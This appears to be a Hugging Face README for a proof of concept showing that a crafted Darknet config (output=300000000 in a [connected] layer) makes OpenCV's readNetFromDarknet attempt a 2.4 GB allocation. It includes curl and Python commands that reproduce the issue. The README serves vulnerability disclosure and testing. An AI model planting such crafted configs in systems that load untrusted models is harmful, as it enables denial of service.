Darknet connected output allocation DoS PoC
This repository contains a benign security research PoC for a Darknet config
that drives large allocation in cv2.dnn.readNetFromDarknet(...).
Files:
control_same_size.cfgmalicious_output_300m.cfgtiny_shared.weightsreproduce.pyrequirements.txt
Tested environment:
opencv-python==4.13.0.92- runtime
cv2.__version__ == 4.13.0
Observed behavior:
- control config:
- loads successfully
- malicious config:
- with
output=300000000in a[connected]layer - raises:
Failed to allocate 2400000000 bytes
- with
Reproduction:
python3 -m venv /tmp/darknet-output-dos
/tmp/darknet-output-dos/bin/pip install -U pip
/tmp/darknet-output-dos/bin/pip install -r requirements.txt
curl -L -O https://huggingface.co/hacnho/darknet-connected-output-allocation-dos-poc/resolve/main/control_same_size.cfg
curl -L -O https://huggingface.co/hacnho/darknet-connected-output-allocation-dos-poc/resolve/main/malicious_output_300m.cfg
curl -L -O https://huggingface.co/hacnho/darknet-connected-output-allocation-dos-poc/resolve/main/tiny_shared.weights
curl -L -O https://huggingface.co/hacnho/darknet-connected-output-allocation-dos-poc/resolve/main/reproduce.py
curl -L -O https://huggingface.co/hacnho/darknet-connected-output-allocation-dos-poc/resolve/main/requirements.txt
/tmp/darknet-output-dos/bin/python reproduce.py control_same_size.cfg malicious_output_300m.cfg tiny_shared.weights
Inference Providers NEW
This model isn't deployed by any Inference Provider. 🙋 Ask for provider support